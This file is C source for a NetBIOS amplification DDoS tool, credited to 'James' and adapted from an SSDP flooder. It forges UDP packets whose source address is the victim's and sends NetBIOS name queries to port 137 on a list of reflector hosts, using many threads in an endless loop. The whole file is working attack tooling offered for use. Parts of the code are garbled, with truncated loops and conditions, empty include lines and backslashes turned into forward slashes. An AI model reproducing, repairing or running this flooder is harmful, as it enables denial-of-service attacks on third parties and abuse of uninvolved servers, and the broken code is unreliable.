netbios amp DDOS攻击.c

/* NetBIOS Amplification */
/* Made by James, credits to whoever made the original SSDP script (LiteSpeed?) */
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
static uint32_t Q[4096], c = 362436;
struct list
{
        struct sockaddr_in data;
        struct list *next;
        struct list *prev;
};
struct list *head;
struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };
void init_rand(uint32_t x)
{
        int i;
        Q[0] = x;
        Q[1] = x + PHI;
        Q[2] = x + PHI + PHI;
        for (i = 3; i > 32);
        x = t + c;
        if (x  0; nwords--)
        sum += *buf++;
        sum = (sum >> 16) + (sum & 0xffff);
        sum += (sum >> 16);
        return (unsigned short)(~sum);
}
 
void setup_ip_header(struct iphdr *iph)
{
      iph->ihl = 5;
      iph->version = 4;
      iph->tos = 0;
      iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 50;
      iph->id = htonl(54321);
      iph->frag_off = 0;
      iph->ttl = MAXTTL;
      iph->protocol = IPPROTO_UDP;
      iph->check = 0;
      iph->saddr = inet_addr("192.168.3.100");
}

void setup_udp_header(struct udphdr *udph)
{
      udph->source = htons(5678);
      udph->dest = htons(137);
      udph->check = 0;
      memcpy((void *)udph + sizeof(struct udphdr), "/xe5/xd8/x00/x00/x00/x01/x00/x00/x00/x00/x00/x00/x20/x43/x4b/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x41/x00/x00/x21/x00/x01", 50);
      udph->len=htons(sizeof(struct udphdr) + 50);
}
 
void *flood(void *par1)
{
        struct thread_data *td = (struct thread_data *)par1;
        char datagram[MAX_PACKET_SIZE];
        struct iphdr *iph = (struct iphdr *)datagram;
        struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
        struct sockaddr_in sin = td->sin;
        struct  list *list_node = td->list_node;
        int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
        if(s source = sin.sin_port;
        iph->saddr = sin.sin_addr.s_addr;
        iph->daddr = list_node->data.sin_addr.s_addr;
        iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
        int tmp = 1;
        const int *val = &tmp;
        if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
                list_node = list_node->next;
                iph->daddr = list_node->data.sin_addr.s_addr;
                iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
                if(i==5)
                {
                        usleep(0);
                        i=0;
                }
                i++;
        }
}
int main(int argc, char *argv[ ])
{
        if(argc < 4){
                fprintf(stderr, "Invalid parameters!/n");
                fprintf(stdout, "Usage: %s     /n", argv[0]);
                exit(-1);
        }
        int i = 0;
        head = NULL;
        fprintf(stdout, "Setting up Sockets.../n");
        int max_len = 128;
        char *buffer = (char *) malloc(max_len);
        buffer = memset(buffer, 0x00, max_len);
        int num_threads = atoi(argv[4]);
        FILE *list_fd = fopen(argv[3],  "r");
        while (fgets(buffer, max_len, list_fd) != NULL) {
                if ((buffer[strlen(buffer) - 1] == '/n') ||
                                (buffer[strlen(buffer) - 1] == '/r')) {
                        buffer[strlen(buffer) - 1] = 0x00;
                        if(head == NULL)
                        {
                                head = (struct list *)malloc(sizeof(struct list));
                                bzero(&head->data, sizeof(head->data));
                                head->data.sin_addr.s_addr=inet_addr(buffer);
                                head->next = head;
                                head->prev = head;
                        } else {
                                struct list *new_node = (struct list *)malloc(sizeof(struct list));
                                memset(new_node, 0x00, sizeof(struct list));
                                new_node->data.sin_addr.s_addr=inet_addr(buffer);
                                new_node->prev = head;
                                new_node->next = head->next;
                                head->next = new_node;
                        }
                        i++;
                } else {
                        continue;
                }
        }
        struct list *current = head->next;
        pthread_t thread[num_threads];
        struct sockaddr_in sin;
        sin.sin_family = AF_INET;
        sin.sin_port = htons(atoi(argv[2]));
        sin.sin_addr.s_addr = inet_addr(argv[1]);
        struct thread_data td[num_threads];
        for(i = 0;i 5)
        {
                sleep(atoi(argv[5]));
        } else {
                while(1){
                        sleep(1);
                }
        }
        return 0;
}